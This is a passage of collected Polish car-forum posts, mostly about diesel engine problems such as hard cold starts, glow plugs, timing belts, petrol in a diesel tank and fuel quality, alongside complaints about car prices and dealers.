pojemnośc aku. Jesli ma już trudności z zapaleniem przy - 5 to przy minus 15
na pewno nie zapali. Nalezy zadbać o aku, sprawdzic stan klem, zmierzyć
napięcie na aku a także prąd ładowania. W razie koniecznosci aku wymienić,
lub jesli ktoś lubi, może pomóc codzienny spacer z aku do ciepłego
pomieszczenia.
Swiece żarowe, cholernie istotna sprawa, nawet uszkodzenie jednej powoduje
duże utrudnienie w rozruchu zamrozonego silnika, sprawdzić ich stan i w razie
konieczności wymienić.
3. najmniej istotna sparwa aczkolwiek też ważna, dobrze byłoby przed zimą
olej wymienić na swieży i nie zalewać na zbyt gęsty jęsli stan zuzycia
silnika na to pozwala.
Stosowanie się do powyzszego powinno umozliwić codzienne spokojne zapalanie
dieselka.
Pozdrawiam
Maciek

  Zerwany ROZRZAD, warto robic?
drynda1 napisał:

> czy naprawa silnika po zerwanym pasku w citroenie 1.9 TD 90 KM ma sens? Auto
> ma 7 lat ale jest w dobrym stanie.
istnieje mozliwosc ze szkody nie sa az tak duze najczesciej uszkodzeniu ulegaja
zawory wiec kilka z nich napewno trzeba bedzie wymienic jesli tloki nie zostaly
uszkodzone to koszt naprawy nie musi byc wysoki
napewno warto zdjac glowice i zobaczyc jakie sa szkody i dopiero podejmowac
decyzje czy sie oplaci na przyszlosc w dieslach trzeba pilnowac rozrzadu i
wymieniac pasek szybciej niz potrzeba

  czy mozna zdemntowac chipa w tdi?
nepelski napisał:

> wg. mechanika jest to tylko wstawka. odpowiedz na pytanie dlaczego chce
> wyciagnac tego chipa jest prosta: jest on zamontowany w aucie ojca i chetnie
> przelozylbym go do mojej ibizy, rowniez tdi ale z 110 km. wiec kolejne
pytanie:
> czy jest szansa, ze chip z tdi 90 km podejdzie rowniez do mojego silnika?
>
> co do poprzedniej kwestii:
> auto bylo w warsztacie i, po sprawdzeniu i podlaczeniu do kompa, padla
diagnoza
> ,
> ze to czujnik regulacji powietrza (standardowa bloaczka diesli vw). nikt sie
> sprzegla nie czepial (jak dotad funkcjonuje bez zarzutu). tylko nie wiem skad
> ten halas w okolicach 100-120 km/h???
>
> pzdr,
>
> daniel
Jesli chodzi i chip to raczej nie za bardzo napewno nie te co zmieniaja
procesor w komputerze ,bo one sa programowane specjalnie pod konkretny silnik
na hamowni i ustalane parametry,a te dostawiane to nie wiem.
A wracajac do sprawy z tym sprzeglem to zle wytlumaczyles problem bo jesli
obroty silnika wzrastaja a samochod nie przyspiesza to winne moze byc tylko
sprzeglo czyli nastepuje poslizg, a z tego co zrozumialem okazalo sie ze
uszkodzony jest przeplywomierz powietrza a to czeste w vw.
pozdr

  Benzyna w silniku diesel !!!
Benzyna w silniku diesel !!!
Moja żona zatankowała benzynę do diesla i przejechała 10-15 km. W
serwisie "przepłukali" układ, wymienili filtry ale twierdzą, że jeszcze może
być coś nie tak. Nie chcę dać się oszukać dlatego proszę eksperta o
informację; co mogło jeszcze ulec uszkodzeniu???
Dodam, że po tym czyszczeniu normalnie odpalił.

  Czym grozi zatankowanie benzyny do diesla?
Raczysz fantazjowac
rapid130 napisał:

> Stan tego Diesla jest porównywalny do stanu silnika benzynowego, który przez
> 200 km musiał pracować z punktem zapłonu ustawionym o kilkadziesiąt stopni za
[...]
> remontu. Obawiam się, że jego "zmęczenie" po 200 km zasilania benzyną, można
> porównać do 200,000 km spokojnej eksploatacji na oleju napędowym.

Primo punkt wtrysku w dieslu nie odbiega specjalnie od punktu zaplonu w
benzynowcu.

Po drugie obecnosc benzyny w paliwie utrudnia a nie ulatwia zaplon, wiec i
obawy o zmiane punktu zaplonu sa plonne.

Po trzecie to bylo co najwyzej kilkadziesiat procent benzyny w paliwie, bo
inaczej silnik by wogole nie ruszyl.

No i w koncu po czwarte jedynym zespolem, ktory mogl zostac w takim wypadku
uszkodzony lub nadmiernie zuzyty, jest pompa wtryskowa (lub pompa wysokiego
cisnienia w common rail) i wtryskiwacze. Albowiem te elementy smarowane sa
paliwem, a benzyna ma znacznie gorsze w stosunku do oleju napedowego
wlasciwosci smarne.

Wiec zarowno opis mechanizmu powstania uszkodzen, jak i ich rozmiary sa
niestety wyssane z palca.

Pozdr.

K.

  Rumuni i Węgrzy przeganiają Polaków w zakupie n...
OTO PRZYCZYNY :
1. Cena nowego Subaru WRX STi w USA to 110 000 zł ,a u nas 180 000 zł
-cena nowego Audi A4 3.2 Quattro FULL WYPAS w USA 150 000 zł ,a u nas 300 000
zł z tym samym wyposażeniem co w USA
-cena nowego Pathfindera 4.0 V6 w USA 100 000 zł ,a u nas 2.5 diesel 180 000
zł !!!!!!!
-cena nowego Passata 3.6 FULL WYPAS w USA 120 000 zł tyle to u nas nawet 2.0
TDI nie kosztuje z takim wyposażeniem ,a u nas jeszcze nie ma z silnikiem
3.2 ,ale pewnie cena wyjdzie coś około 200 000 zł
-cena nowego BMW 330iA w USA ok. 100 000 zł ,a u nas ok. 200 000 zł
-cena nowego Lexusa GS300 w USA ok. 140000 zł ,a u nas 210000 zł
I weź tu kupuj samochód .

2. Po co nowy samochód na nasze tzw. drogi (czyt. kartofliska)
3. Kradzieże i policja współpracująca z gangami
4. Koszty ubezpieczenia , leasingu , napraw w ASO itd.
5 Brak możliwości odliczenia VATu od ceny samochodu i paliwa samochodu na
firme ,a w Niemczech można od każdego ,a nie takiego ,który spełnia jakieś
debilne wzorki.
6. Cena paliwa : w USA tyle co u nas za LPG .
7. Głąby i oszuści na stacjach ASO - sprzedają uszkodzone NOWE wozy .

  Diesel po raz pierwszy droższy od benzyny
Chciełem kupic diesla
Własnie przymierzam się do nowego auta, a konkretnie nowego Opla Corsy.
Chciałem wersje 1,3 diesla, ale w tej chwili chyba jedna zdecyduję sie na
benzyniaka 1,4. Poza tym jednak eksploatacja w Polsce najnowszych konstrukcji
dieslowskich niesie spore ryzyko. Silniki te sa bardzo wrażliwe na
niejednorodną jakość paliwa. A w naszym kraju, gdzie złodziej siedzi na
złodzieju i złodziejem pogania nigdy nie masz pewności co wlewasz do baku.
Łatwo uszkodzić wtryskiwacze, a to już jest wydatek idacy w tysiące złotych.

  gdy moto dymi...
yo!

zimny diesel dymi na czarno i tu pytanie: czy moto dymi na czarno i czuc
niedopalona benzyne czy na bialo i czuc olej a spaliny sa wyczuwalnie tluste?
z tego co wyczytalem w sieci to w Apriliach z tym silnikiem zastosowany jest
wtrysk paliwa - proponuje wiec zaczac od wymiany filtra powietrza - jezeli
objawy nie ustapia to trzeba podpiac motocykl do kompa i sprawdzic dzialanie
ukladu zasilajacego - moze on podawac zbyt bogate dawki. jezeli przebieg jest
autentyczny a motocykl byl serwisowany i uzytkowany zgodnie z przeznaczeniem
bardzo malo prawdopodobne jest uszkodzenie ukladu tlokowo korbowego i tzw. gory
przy tym przebiegu. pzdr

szynszyll

  co sie dzieje z niemiecka mysla techniczna....
co sie dzieje z niemiecka mysla techniczna....
tak wychwalana przez naszego forumowego cesia.pl
nie dziwota ze tego badziewia od VW nikt nie chce kupowac

Wadliwe volkswageny
2006-12-08 20:31 Aktualizacja: 2006-12-08 20:59
300 tys. passatów do wymiany

Dziurawe baki, uszkodzone hamulce, niedziałające wycieraczki. Oto dlaczego
kilkaset tysięcy passatów, wyprodukowanych po 2005 roku musi wrócić do
serwisu.

Nie wiadomo, ile uszkodzonych samochodów trafiło do Polski, bo koncern podał
tylko, ile aut jest uszkodzonych na całym świecie. Jednak każdy właściciel
nowego volkswagena passata musi liczyć się z tym, że wkrótce trafi do niego
list z zaproszeniem do wizyty w serwisie.

Co trzeba sprawdzić? Po pierwsze wycieraczki, bo jeśli pod maskę dostanie się
wilgoć, to może zepsuć się silniczek. Do tego w autach z turbo dieslem może
przeciekać bak, a w modelach z 200-konnym silnikiem nie działają hamulce.

www.dziennik.pl/Default.aspx?TabId=14&ShowArticleId=24491

  kilka pytan do posiadaczy dieslów..
kilka pytan do posiadaczy dieslów..
czy 13letni opel astra tds 1.7(isuzu)nie mający dotąd wiekszych problemów z
zapłonem,od ostatnich spadków temp niemiłosiernie starający się odpalic, przy
czym, przy ciepłym silniku odpala na dotyk
1. cyt.teraz już tak będzie miał bo wiekowy samochód,
2. świece nowe sprawne
3.akumulator mocny i ładuje
4.rozrusznik kreci(po wymianie szczotek)
5.kontrolka swiec zarowych nie miga, swieci ok 4 , 5 sek(gdyby migała jest
podejrzenie uszkodzenia sterownika podobno, ale moze sterownik nie musi w
zaden sposób dawac znaku ze nie działa prawidłowo???
6.jak sprawdzic czy to wtryski?

  Uwięziony
> .....i tu się z Tobą zgadzam, już zastanawiałem się nad tym
> problemem kiedyś.

Ja sie zastanawiam od kiedy zaczely dochodzic mnie sluchy, ze mysla np. o ukladzie kierowniczym bez drazkow czy ukladu hamulcowego bez klasycznej pompy i przewodow. Wszystko bowiem ma byc nowoczesniejsze i elektryczne. I nie przestaje sie zastanawiac jak daleko, absolutnie tepa wiara w sily swoje i techniki, zaprowadzi technike motoryzacyjna?

Ladnie na ten temat napisal kiedys kierowca laguny, ktoremu, jak to w dieslu laguny z tamtych lat, zawiodl zawor EGR. Bardzo, bardzo, naprawde bardzo madry komputer, zaprogramowany przez bardzo madrego czlowieka wprowadzil sie w tryb awaryjny i pozwalal toczyc sie do serwisu 40 km/h. Chodzilo o to, aby przypadkiem nie uszkodzic arcycennego, wychuchanego, doipieszczonego dziela rak ludzkich - czyli silnika. Acha, serwis wlaczyl sie, jak to w lagunie, w czasie raczej agresywnego wyprzedzania.

  Autokomis Rakowski -opinie
ps. wracając do posta "rion'a". Nie można generalizować że wszystkie auta mają
kręcony licznik - oczywiście jest to proceder na ogromną skale. Jednak wydaje mi
się że wszystko zależy od zdrowego rozsądku kupującego. Jeżeli decydujemy się na
kupno używanego auta musimy pamiętać o tym że to jest auto używane, jeżeli
planujemy zakup auta 3 - 4 letniego z jakimś ekonomicznym silnikiem diesla (tak
dla przykładu) normalne będzie że w większości przypadków taki samochodzik może
mieć już około 100tyś km (oczywiście nie generalizuje) na lincziku i tu jest to
całkowicie normalne. Co innego gdy ktoś szuka powiedzmy Audi A4 z 97r - to juz
12 letnie auto, większość ciekawych modeli to 1.9 TDI - oczywiście marka b.dobra
ale gdy widzmy 12 letnie auto które ma na blacie 150 tys (standardowo każde 12
letnie i starsze auto ma 150 tys ;) ) to już można się zastanawiać że coś może z
nim być nie tak. To samo tyczy się wszystkich starych aut.
Kolejną sprawą jest wygląd zewnętrzny - prawdą jest że jest dużo zadbanych aut
na rynku ale większość z nich ma jakieś ukryte wady, albo jakieś drobne otarcia,
zarysowania lub jakieś poważniejsze uszkodzenia. Dlatego tak jak napisałem wyżej
zawsze przed kupnem auta konieczne jest jego gruntowne sprawdzenie - nie można
zaufać sprzedającemu w tej kwestii bo prawdą jest to że oni sami mogą nie mieć
zielonego pojęcia o historii posiadanego samochodu.

  Peugeot 5008 - pierwsza jazda
asdf jestes pewny ze to ta sama technologia i te same urzadzenia? bo ja szczerze watpie, i dla trwalosci tych silnikow lepiej by bylo zebym mial racje, moze i doladowanie wymagane jest mniejsze w turbobenzynie, ale temperatura spalin jest duzo wyzsza niz w dieslu, takie turbo z diesla podejrzewam dlugo by nie pozylo w benz.

chyba tez producenci nie czekali specjalnie tyle czasu z wprowadzeniem turbo do beznyny (na duza skale bo wiadomo ze byly chocby w saabach) tylko opracowywali nowe technologie odpowiednie dla tych warunkow

sam jestem bardzo ciekaw trwalosci - ktos tu pisal ze turbo w dieslu to nie jest przedmiot obaw i zmartwien, a wlasnie tak jest, bo jak dobre by nie byly to to kolejny element ruchomy, narazony na uszkodzenie, a do tego wrazliwy na odpornych na wiedze uzytkownikow

  opel omega
siemanko.
Pytanie jaki jest kolor dymu po odpaleniu zimnego diesla.
jesli masz duzo bialego dymu,podkreslam duzo.to moze byc problem z
wtryskiwaczami.
ale najprawdopodobniej twoj probem to swiece zarowe.
albo cos co tymi swiecami steruje.
po wlaczeniu zaplonu na tablicy powinna pojawic sie pomaranczowa
kontrolka z rysunkiem spirali.
zaleznie od teperatury albo tylko mignie albo poswieci do okolo 3s.
jak jest cieplo to nie pojawia sie wogule.
jesli rano jest mrozek a taka kontrolka sie nie pojawia to masz
uszkodzony czujnik temp.,albo bezpiecznik albo przekaznik.
jesli sie pojawia to poczekaj az zgasnie i wtedy uruchom silnik.
jesli po zgasnieciu kontrolki silnik nadal kiepsko pali to masz
uszkodzone te swiece.mozna je wykrecic i na sekune podlaczyc do
akumulatora.jak sa ok to morzesz sie oparzyc.
Chodzi o to ,ze zaplon w silniku diesla nastepuje pod wplywem
sprezenia powietrza.powietrze pod wplywem sprezania rozgrzewa sie do
ponad 600 stopni.wtedy nastepuje wtrysk paliwa ktyre sie zapala.
niestety zimny silnik niebardzo potrafi to powietrze az tak dobrze
sprezyc,wiec pomagajom mu w tym swiece.
nie jestem specjalista od opla ale morzesz pytac....
solution@op.pl.

  A co to za marka samohodu kopole?
O tym ja mowilem juz od zawsze! I nieraz mnie wyzywali od bulbiakow dlatego ze bronilem nowoczesnych silnikow diesla w bmw czy mercedesie.Krzyczeli ze diesle smierdza kopca i chalasuja. Owszem tak bylo kiedys ale nowoczesne silniki diesla np w BMW 7 sa ciche i emituja znacznie mniej zanieczyszczen niz wiekszosc amerykanskich silnikow benzynowych. Tylko faktycznie paliwo musi byc dobrej jakosci zeby nie uszkodzic silnika. Ja osobiscie mam auto z silnikiem benzynowym.

  Na stacji patrz dobrze, co lejesz do baku
Gość portalu: władzio napisał(a):

> Dobre, gratuluje poczucia humoru (jak widać powyżej niekótrzy sa tak
> tępi że nawet ironii nie łapią, to są real tepas pałas)"
>
> Wiesz, tak się składa, że to, co niektórzy piszą ironicznie,
> niektórzy piszą jako prawdę. I to są dopiero tępe młoty :/

Hehe , ja załapałem :]
swoją drogą ja kupię auto z gazem żeby się nie pomylić ;-)
a poza tym , ten facet jest fujara i tyle - to że na co dzień jeździ
dieslem nie oznacza,że może nie mysleć wlewając paliwo do innego rodzaju silnika
powinien czytać co leje, niech się cieszy że nie uszkodził silnika - wtedy
zapłaciłby o wiele więcej,niż te 230 złotych :P

  Orlen przy Chełmżyńskiej - jakość paliw?
Orlen przy Chełmżyńskiej - jakość paliw?
Czy ktoś z was miał ostatnio jakiś problem z jakością paliw ze stacji
Orlen przy Chełmżyńskiej 249?
Pytam bo tydzień temu mojej żonie zatankowano tam samochód takim
dieslem na którym silnik "charczał", "ksztusił się" i "dławił" na
niskich obrotach, a przy odpalaniu wyrzucał z siebie kłęby czarnego
dymu i sadzy. Objawy te znikły po dolaniu diesla na innej stacji
paliw. Ale mimo to mamy prawdopodobnie uszkodzony filtr paliwa i nie
wiem, czy tylko na ty się skończy bo wieczorem samochód jedzie do
serwisu.

  alfa 156 2.0 TS 16V spaliny
Witam
Miałem podobny problem na postoju i włączonym silniku czuć było w kabinie
spaliny, a w czasie jazdy zapach ustępował .
Okazało się na końcu że zrobiła się mała dziurka w układzie wydechowym na spawie
w okolicy siedzenia kierowcy i pasażera.
Po interwencji spawacza ponieważ układ wydechowy był zdrowy mogłem się cieszyć
czystym powietrzem w kabinie podczas postoju.
Natomiast jeśli chodzi o głośne odpalanie jak byś Miał diesel`a pod maską to po
prostu zaczyna odzywać się wariator i nie oznacza to że jest uszkodzony.
Jeżeli odgłos diesel`a będziesz miał nonstop to wariator wtedy będzie do wymiany

AR146 1,6TS 16V

  Dwumasowe koło zamachowe w Dieslu
W skrocie piszac, zadaniem tego ustrojstwa jest wyrownowazenie drgan silnika.
Uszkodzenie jest kosztowne, bo wymiana jak i samo kolko dwumasowe do tanich nie
naleza. Notorycznie padajacy element w wielu wspolczesnych dieslach, glownie
francuskich (np HDI), zaraz po skonczeniu gwarancji :). We wloskich JTD psujace
sie bardzo rzadko lub wcale. Uszkodzenie poznac mozna po nienaturalnie duzych
wibracjach wystepujacych przy biegu jalowym lub bardzo niskich obrotach silnika.
Potrafi tez "poszarpac" przy lekkim dodawaniu gazu z niskich obrotow.

  mało mocy
Może wariator uszkodzony - silnik pracuje jak diesel.
coś nie tak z przepływomierzem, sondą lambda, lewe powietrze na dolocie.
Jedz na examiner - z tym że nie zawsze wykryje te uszkodzenia.
Opisz mułowatość dokładniej, ciepły zimny silnik, szarpanie, jakieś niepokojące dźwięki których nie było wcześniej.

  pechowa alfa
Witaj!
Zanim zaczniesz zmieniać samochód zmień gazownika bo jakiś prymitywny badziew
założył do Twojej AR i wydaje się nie mieć wielkiego pojęcia o silnikach z
wtryskiem benzyny, ciekawe dlaczego pękł kolektor. Jaki przebieg miałaś na
poprzedniej sondzie? Mogła polecieć od zbyt bogatej mieszanki, czy silnik tak
samo źle chodzi na benzynie jak na gazie? Niezłe ceny ma ten gazownik ciekawe
jakie świece założył.
Teraz konkrety:
Sonda ma niewiele do powiedzenia w momencie zapalania silnika ponieważ zimna nie
daje prawidłowych wskazań, do czasu zagrzania silnik pracuje na ustawieniach z
pamięci sterownika
Klekotanie typu diesel - uszkodzony wariator, zbyt niskie ciśnienie oleju, luz
na zaworach (za niskie ciśnienie oleju), przesunięty pasek rozrządu o kilka zębów
Trudności z uruchamianiem - przesunięty pasek rozrządu o kilka zębów (1-3)
uszkodzony czujnik położenia wału, zły skład mieszanki powietrze paliwo np.
wskutek zatkanych (zapieczonych) wtryskiwaczy bo gazownik nie zrobił odcięcia
wtryskiwaczy benzyn jak jeździsz na gazie i uszkodziły się od pracy na sucho
Wniosek sama nie naprawisz zmień serwis na inny, alfy TS u kowala nie naprawisz,
technologia tego samochodu w wielu dziedzinach wyprzedziła konstrukcje do
których przyzwyczaili się kowale o co najmniej 5 lat, dodatkowo masz pecha jak i
my wszyscy, jakże piękno i urok często nie idą w parze z trwałością i
solidnością materiału, zupełnie jak wśród ludzi.
Powodzenia, głowa do góry na przyszłość nie dawaj się naciągać.
Grzegorz
AR 156 2,4JTD

  Jakie koszty wymiany wariatora?
siwcu napisał:

> Więc u mnie są następujące objawy:
> falujące obroty, ale to jest chyba wina przepływomierza(trzeba pewnie
> przeczyścić)

Duże prawdopodobieństwo, jednak z nie oczekiwałbym po czyszczeniu
przepływomierza zdecydowanej poprawy. Wiele osób raportowało, że czyszczenie
przepływki spowodowało jego szybszy zgon. Specyfika warunków pracy tego czujnika
powoduje, że jak już zaczyna zdychać to żadne czyszczenie mu nie pomoże. Jak
zdechł to należy go wymienić.

> Spalanie na poziomie 10l gazu- chyba dużo??

10L gazy dla silnika 1,8TS to chyba bardzo dobry wynik. Tak uważam - ja
osobiście cieszyłbym się jak by 1,8 zadowolił się 10L benzynki ;)

> brak mocy, wydaje mi sie ze powinna iść lepiej...:)

Porównaj z innym autem, lub zmierz na hamowni - na wydaje mi się niczego się nie
diagnozuje ;)

> chodzi jak diesel- wina wariatora

Na 100% :)

> ale znowu pali rano i w ogóle zawsze na dotyk, wiec to chyba nie bedzie
> przepływomierz...:/ jakieś sugestie?

I tak i nie - jeżeli nagle objawy ustały a zauważ, że zmieniły się warunki
pogodowe i jest zdecydowanie cieplej - ja osobiście sprawdziłbym na examinerze
czujnik temperatury płynu chłodzącego i/lub temperatury powietrza na dolocie (od
rocznika 1999 zintegrowany z przepływomierzem). Uszkodzenie czujnika cieczy
chłodzącej objawia się utrudnionymi rozruchami zimnego silnika.

  Jazda na rozruszniku
To jest zabojstwo dla rozrusznika.Crannmer dobrze to okreslil.
nadanie momentu obrotego silnikowi to wystarczy 1,5 do 5KM ktore sie wyciaga z
rozrusznika (Diesle).Do kazdego silnika jest dopasowany moca
rozrusznik.Najrozsadniej w takiej sytuacji kiedy holownik niema wyciagarki jest
wjazd tylemn na platforme,jest jeszcze wieksze przelozenie i poprostu rozrusznik
nie dostaje tak po "uszach".
Osobiscie jakbym to zobaczyl zanotowalbym adres i nazwe tej firmy i nigdy do
nich nie dzwonil po pomoc . Powod, zle wyposazeni i pracuja w mysl zasady klient
nie widzi jest wszystko okey.
Najmniej ucierpia rozruszniki szybkoobrotowe z przekladnia ktore stosuje Honda i
Toyota i te marki ktore uzywaja japonski osprzet elektryczny np Volvo nie
wszystkie modele.Jedyne co moze sie uszkodzic to przegrzac tzw blek czyli
kontakty miedziane w rozruszniku,jest to rzecz wymienna i prosta w reperacji.Te
rozrusznki maja lozyska toczne.
Pzdr.Sky

  golf2, audi 80(B3), czy passat b3 z silnikami (on)
grzes_85 napisał:

> audi w super stanie ale mi jednak bardzo zależy na tym aby to był diesel, nie
> potrzebuje auta żeby sie ścigać więc nie musi mieć dobrego przyśpieszenia
ważne
> za to żeby mało paliło, jeśli wiecie np jakie te auta mogą robić przebiegi bez
> większych problemów to też chętnie wysłucham, oczywiście biorąc pod uwagę ze

> różne "przebiegi"

Taki silnik diesla bez doladowania jesli byl traktowany zgodnie z
instrukcja ma trwalosc przynajmniej 400-500tys km a i mln bez problemu
przejedzie.Tylko bierz pod uwage ze omawiamy samochody 15 letnie i
starsze takie silniki moga wymagac czestego serwisu .Olej w takim
silniku trzeba wymieniac o ile pamietam co 7,5 tys km ,trzeba sie mliczyc
z mozliwoscia uszkodzenia pompy paliwa(naprawa stosunkowo
droga),wtryskiwaczy ,uszczelki glowicy ,swiece zarowe .W silniku
benzynowym zwlaszcza z wtryskiem jednopunktowym takich elementow
ktore moga sie uszkodzic jest jednak mniej a naprawy sa tanie .
Naprawde przy aktualnej cenie ON w stosunku do LPG taniej
wychodzi ten drugi zestaw .Do tego zachowujesz wiekszy komfort jazdy
(halas) ,lepsze osiagi i mniejsze ryzyko usterek i mniejsze koszty ich
usuniecia .
Z ekonomicznego punktu widzenia LPG jest tanszym paliwem w tym
przypadku .W trasie silnik 1.6d zuzywa min. ok 5 litrow na 100km ,silnik
benzynowy 1.8 ok 8 litrow gazu .Jak przeliczysz to LPG wychodzi
taniej .Wiec po co pchac sie w ryzykownego diesla ?

  Drzewa miastu niepotrzebne
Pięknie!
Przemówiłeś mi prosto z duszy!
W Białymstoku mamy właśnie buractwo, a jego najgorszą formą jest wsiuńskie
ukrywanie wsiuńskości.

Chciałbym jednak dodać jedną rzecz: w Niemczech nie pobiera się opłat za wjazd
do miast. Wydaje się naklejki, których kolor symbolizuje stężenie szkodliwych
substancji, które wydala silnik danego pojazdu. W szczególności chodzi o tzw.
Feinstaub, czyli bardzo drobną sadzę, wydalaną przez silniki Diesel'a (dizla?).
Mówią o niej, że potrafi poważnie uszkodzić pneumocyty typu II. Auta, które
wydalają zbyt wiele sadzy, by wjeżdżać do "strefy ekologicznej", skieruje się na
obwodnice. Wiatr poniesie Feinstaub, niezależnie od kierunku, w którym wieje, do
centrum. Przecież obwodnice mają kształt pierścienia...
Wszystkie próby wzmocnienia gospodarki krajowej niemiecki rząd maskuje ekologią.
Ekostrefy w miastach, ekopremie przy złomowaniu starego wozu, pod warunkiem, że
się zakupi nowiutki, obciążenia podatkowe wobec kierowców nie posiadających
filtra cząsteczek w rurze wydechowej... wszystko ekologia. W tym kraju politycy
myślą trochę dalej, niż do końca kadencji. Lepiej jest ustawami wesprzeć
przemysł motoryzacyjny, niż pompować kasę w banki.

Dlaczego Niemcy na to idą? Bo są wychowani w duchu ekologii. W prospektach
reklamowych przemysłu motoryzacyjnego podaje się emisję CO2 tu obok zużycia
paliwa. Wszystko jest eko. Oni chętnie za to płacą, bo wierzą w rzetelność
polityków. U nas płaci się jedynie za szpan.

  Nowy passat - prosze o opinie użytkowników!
Bez przesady, to był chyba wadliwy egzemplarz. Diesla VW mają akurat b. dobrą
opinię. Jeśli chodzi o ten uszkodzony samochód i powolną naprawę, polecałbym
wykonać telefon "do góry". Cały czas są wdrażane dyrektywy co do jakości, więc
sytuacja jest zapewne błędem (tudzież lenistwem) kogoś z niższego szczebla.
Jeśli zgłosisz problem, powinien zebrać solidny opieprz.

Silnik jest w porządku, skrzynia też. Poza tym, Passat mimo tego, że generalnie
prasę ma VW kiepską, wygrał kupę testów. To naprawdę dobre auto jest ;)
Pozdrawiam.

  kijanka czy meganka ?
W przedostatnim motorze było o silnikach dCI z Renault. "Wieść gminna niesie" że
mechanicy pozytywnie sie wypowiadali o tych dieslach pod kątem awaryjności.
Oczywiście wtryski padają jak wszędzie ale jak sie dba to podobn nie jest źle.
COdo KII i jego diesla to cięzko powiedziec jak bedize z odpornością na polskie
paliwo, moze ktoś ma i moze skomentowac Ceeda?

  sprzęgło
Nie dosc, ze trol, to jeszcze ignorant
dewulot1 napisał:

> Opisany przez Ciebie przypadek (jezeli w ogole mial miejsce

Ja tez mam powazne watpliwosci co do faktycznego przebiegu opisanego wydazenia.

> hipotetycznie nie jest mozliwy bo diesle zawsze mialy ogranicznik
> obrotow :)) i tak jak widac nie zaszkodzil silnikowi.

Ewentualne szkody (a glownie widowiskowe efekty, o ile mozna wierzyc opisowi) z
powyzszego wydazenia nie wynikaly z obrotow, ale z oleju lejacego sie do dolotu.

Nie widze rowniez zwiazku miedzy dyskutowanym i rzekomymi niebezpieczenstwami
naciskania gazu na biegu jalowym, a opisanym powyzej przypadkiem reakcji silnika
na uszkodzenie (przy braku naciskania na pedal gazu).

> Kto wie, moze nawet ta przygoda poprawila kondycje silnika?
> Trzeba zapytac Crannmera.

I znowu trolujesz.
A faktem jest ze rzekome wyrwanie sie silnika z ramy czy przekrecenie silnika
przez samo wciskanie gazu na biegu jalowym nie jest obecnie mozliwe.

Faktem jest rowniez, ze z racji samoregulacji obrotow silnikow ZS od zawsze
elementem ukladu wtryskowego jest ogranicznik obrotow.

Gorzej nawet. W Niemczech np. wszystkie diesle regularnie co dwa lata podczas
okresowego badania czystosci spalin (AU wg par. 47a StVZO) sa traktowane
trzykrotnym gwaltownym przegazowaniem az do oporu pedalu i do odciecia wtrysku
(do zadzialania ogranicznika).

I o masowych exitusach silnikow jakos nie slychac. Pewnie im zaden dewulot nie
powiedzial, ze cos takiego na zdrowie szkodzi. I wyrwaniem z ramy grozi.

  Scenic-czy naprawdę rodzinny?
makama111 napisała:

> no wlasnie sie zastanawialem nad kilkoma sprawami w tym aucie,
> tzn silnikiem diesla który jest wg mnie bardzie ekonomiczny a wlasnie fakt czy
nie za slaby do tego auta, w koncu male nie jest
>

105KM motora 1.9dCi pewnie wystarczy, ale jak napisałem problem jest w tym, że
mocny motor (w sensie momentu) jest spasowany z relatywnie słabą skrzynią biegów
co może prowadzić do jej uszkodzenia.

> oraz odnosnie tego zawieszenia/podwozia bo juz wczesniej gdzies >widzialem ze
sie na to zwraca uwage ze to slaby punk ttego auta

Bez przesady. Nie jest z tym tak źle. Jedyne czego można czepiać się to dość
hałaśliwy wał prowadzący napęd do tylnych kół i to, że nie można brać zbyt ostro
zakrętów. Auto jest wysokie, mogłoby się wywrócić.

> ale zeby na autostradzie spalal 12l/100, to chyba wlasnie w trasie > bedzie
palil mniej, niz w miescie czy terenie?

Napisałem wyraźnie, że tak dużo pali gdy jedzie się 160km/h co trudno nazwać
prędkością ekonomiczną. W okolicach 130km/h wystarczy lekko ponad 8 litrów co na
motor benzynowy 2.0 jest zupełnie dobrym wynikiem.

  problem z wydechem w dieslu, bardzo proszę o pomoc
problem z wydechem w dieslu, bardzo proszę o pomoc
dziś w drodze powrotnej z pracy do domu po około 6km auto zrobiło się głośne,
domyślałem się że pewnie powiedziała "dość" bardzo już zmęczona rura między
środkowym a końcowym tłumikiem. po kolejnych 2km auto stało już pod domem a
ja zaglądałem pod spód i stwierdziłem że owszem, rura pękła, około 15cm przed
ostatnim tłumikiem. obecnie jej wylot jest około 10-15cm w bok od
plastikowego zbiornika paliwa. nie zauważyłem żadnych uszkodzeń ale czy
spaliny nie będą na tyle gorące że uszkodzą bak, wypalą w nim dziurę, zapalą
paliwo i wyślą mnie na orbitę? autem zamierzam pojechać teraz tylko kilka km
do warsztatu żeby to jakoś poratować. nie wiem tylko czy nie powinienem go
raczej zaholować? jaką temperaturę mają spaliny na wejściu do tłumika
końcowego i jak szybko ją osiągają? czy z takim uszkodzeniem można wogóle
myśleć o jeździe, oczywiście tylko na krótkim dystansie? auto stare, duże
(wydech dość długi), silnik diesla bez turbo. bardzo proszę o porady!

  oszczedzanie paliwa w automacie
magdajeden napisała:

> to jest JeepGCH diesel 3.1
> myslisz, ze coś jest nie tak? ale jak to sprawdzic? i co to jest to "coś"?

powiem tylko tyle: takie spalanie uzyskuje w 3 tonowym Vanie (masa calkowita),
z silnikiem benzynowym V8, cos okolo 6 litrow.
skoro twoje auto jest o polowe lzejsze i ma o polowe mniejszy i oszczedniejszy
silnik, twoje spalanie jest za duze i wynika z:
wciskania gazu do podlogi przy kazdejnajmniejszej okaozji; lub
uszkodzeniu silnika/ukladu wtrysku itp.
rozumiem spalanie na poziomie 9-11 l/100 km, ale 14?
oczywiscie jesli takie spalanie uzyskujesz stojac w korkach, cale moje gadanie
na nic.
pzdr.

  naprawa pompy wtryskowej - tyle części do wymiany?
wg mnie to trzeba albo ciagle jezdzic autem albo miec za darmo
paliwo aby decydowac sie na diesla. $1500 za naprawe ??? jak dla
mnie szok. sprzedalem swoje poprzednie auto jak wlozylem w nie $400
(pasek rozrzadu, rolka napinacza, paski i jakies tam inne duperele).
jak zapewne niektorzy wiedza mieszkam w kraju "duzych benzyn". w
weekend spotkalem sie z kolegoa jeszcze z czasow technikum i
studiow. od lat jezdzi dieslem, jak i zreszta cala jego rodzina
(zawsze VW/audi/skoda). i pytam sie go, czy jak by tak podliczyl na
koniec posiadania diesla, to oszczedzal na tym czy nie. a on mi na
to ze pewnie by wyszedla na zero, gdyby musial jezdzic do serwisu
(jego ojciec ma od lat warsztat, wiec robocizna za cwierc darmo a
czesci z duzym rabatem).
wiec ja sie tu i teraz zapytowywuje ! czy ktos z was kiedys doszedl
do wniosku ze stracil wiecej pieniedzy na diesla niz by mial
benzyne? oczywiscie nie da sie pzrewidziec uszkodzen w silniku
benzynowym, ale jakas srednia statystyczna z lat poprzednich badz
